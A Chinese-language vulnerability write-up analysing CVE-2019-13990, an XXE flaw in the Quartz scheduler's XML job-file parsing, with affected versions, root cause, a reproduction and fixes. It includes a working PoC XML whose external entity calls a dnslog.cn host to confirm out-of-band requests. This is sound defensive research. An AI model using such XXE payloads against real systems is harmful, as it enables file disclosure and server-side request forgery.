0x01 概述
Quartz是一个功能丰富的开源作业调度库,可以集成到几乎任何Java应用程序中——从最小的独立应用程序到最大的电子商务系统。Quartz可以用于创建简单或复杂的计划,以执行数十个、数百个甚至数以万计的作业;这些作业的任务被定义为标准的Java组件,可以执行几乎任何你编程的任务。Quartz调度器包含许多企业级功能,例如对JTA事务和集群的支持。
笔者通过对数百个真实项目引入组件的分析选出了Quartz组件的常见漏洞进行分析。本次分析的是CVE-2019-13990。该漏洞是由于XMLSchedulingDataProcessor.java的initDocumentParser()方法不禁止DTD,导致的XXE。
0x02 组件使用场景
Quartz适用于需要定时、周期性或基于条件触发执行任务的多种场景。无论是在数据管理、任务自动化还是提醒通知等方面,Quartz都可以发挥作用。它允许你有效地安排代码的执行,以适应特定时间、重复性需求和业务逻辑。无论你是在构建小型独立应用还是大型复杂系统,Quartz都是一个有力的工具,为你的任务和作业管理提供了强大的调度和计划功能。
0x03 漏洞信息
3.1.1 漏洞简介
- 漏洞名称:XXE漏洞
- 漏洞编号:CVE-2019-13990
- 漏洞类型:CWE-611 XML外部实体引用限制不当
- CVSS评分:CVSS v3.1:9.8
- 漏洞危害等级:超危
3.1.2 漏洞概述
该漏洞是由于XMLSchedulingDataProcessor.java的initDocumentParser()方法不禁止DTD,导致的XXE。
3.1.3 漏洞利用条件
- 允许用户上传XML文件
- 没有过滤恶意的XML文件
3.1.4 影响版本
Quartz 2.2.x < 2.2.4
Quartz 2.3.x < 2.3.2
3.1.5 漏洞分析
1.XML背景知识
XML(eXtensible Markup Language)是一种标记语言,用于描述和传输结构化的数据和信息。它被设计用来在不同系统之间交换数据,并且可以在不同的应用程序中共享和解释。
在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。 外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。 但是,在处理外部实体时,可以针对应用程序启动许多攻击。 这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或利用各种方案的网络访问功能来操纵内部应用程序。 通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文。
2.DTD
DTD(Document Type Definition)是一种用于定义 XML 文档结构和内容的语法规范。它是一种基于标记的语言,用于描述 XML 文档中可以包含的元素、属性、实体、数据类型以及它们之间的关系。DTD 可以确保 XML 文档遵循特定的结构和语义。
以下是 DTD 的一些关键概念和特点:
- 元素定义: DTD 允许定义 XML 文档中的元素,包括元素名称、内容类型(如文本、其他元素等)以及出现次数(一次、零次或多次等)。
- 属性定义: 可以定义元素可以包含的属性及其数据类型。属性定义允许指定是否必需、默认值等。
- 实体定义: 实体用于定义可重用的文本块或特殊字符,可以在 XML 文档中引用。有两种类型的实体:内部实体和外部实体。
- 内容模型: DTD 可以定义元素之间的关系,如顺序、选择和重复。这些定义构成了元素的内容模型。
- <!DOCTYPE> 声明: 用于将 DTD 与 XML 文档关联起来。在 XML 文档中,通常以 <!DOCTYPE> 声明的形式指定 DTD 的位置和名称。
DTD 的主要作用是确保 XML 文档遵循特定的结构和语义,使文档更加具有可预测性和一致性。然而,DTD 有一些限制,例如不支持数据类型验证和命名空间,因此在更复杂的场景下,通常会使用其他模式语言如 XML Schema 来进行更严格的验证和定义。
3.Quartz的XML解析
笔者选择的是2.3.0版本Quartz。该段代码docBuilderFactory.setAttribute("http[:]//java[.]sun[.]com/xml/jaxp/properties/schemaLanguage", "http[:]//www[.]w3[.]org/2001/XMLSchema");设置了解析器使用的XML Schema语言。docBuilderFactory.setAttribute("http[:]//java[.]sun[.]com/xml/jaxp/properties/schemaSource", this.resolveSchemaSource());设置了解析器使用的XML Schema源。其并未对外部实体进行了禁用,因此若XML引用了外部实体就会导致XXE攻击。
3.1.6 漏洞复现
1.环境配置
笔者使用的quartz为2.3.0版本。
<dependency>
<groupId>org.quartz-scheduler</groupId>
<artifactId>quartz</artifactId>
<version>2.3.0</version>
</dependency>
<dependency>
<groupId>org.quartz-scheduler</groupId>
<artifactId>quartz-jobs</artifactId>
<version>2.3.0</version>
</dependency>
2.PoC
测试代码如下:
public static void main(String[] args) {
try {
// Grab the Scheduler instance from the Factory
Scheduler scheduler = StdSchedulerFactory.getDefaultScheduler();
// and start it off
scheduler.start();
scheduler.shutdown();
} catch (SchedulerException se) {
se.printStackTrace();
}
}
PoC如下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://123.0k012l.dnslog.cn" >]>
<job-scheduling-data xmlns="http://www.quartz-scheduler.org/xml/JobSchedulingData" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.quartz-scheduler.org/xml/JobSchedulingData http://www.quartz-scheduler.org/xml/job_scheduling_data_2_0.xsd" version="2.0">
<schedule>
<job>
<name>xxe</name>
<group>native</group>
<description>&xxe;</description>
<job-class>org.quartz.jobs.NativeJob</job-class>
<durability>true</durability>
<recover>false</recover>
</job>
</schedule>
</job-scheduling-data>
调试发现请求了外部DTD。
DNSlog看到了Query Record。
3.1.7 修复方法
漏洞修复的办法有如下几种:
1.升级Quartz至该漏洞不存在的版本
更新 Quartz >= 2.2.4
更新 Quartz >= 2.3.2
Quartz官方的修复方案是通过setFeature方法对XML的解析器加了一些限制,具体新增的限制如下:
- 禁止解析器处理DTD。
- 禁止加载外部DTD。
- 禁止加载外部通用实体。
- 禁止加载外部参数实体。
- 禁用XInclude功能。
- 禁止扩展实体引用。
修复版本当发现实体使用了DTD的时候,Parse中断并抛出异常。
2.使用WAF
使用WAF可以阻止攻击者上传恶意XML输入进入应用程序,从而保护免受XXE攻击。
3.使用白名单
定义一个白名单,只允许特定的实体和内容被解析,而拒绝其他实体。
文章评论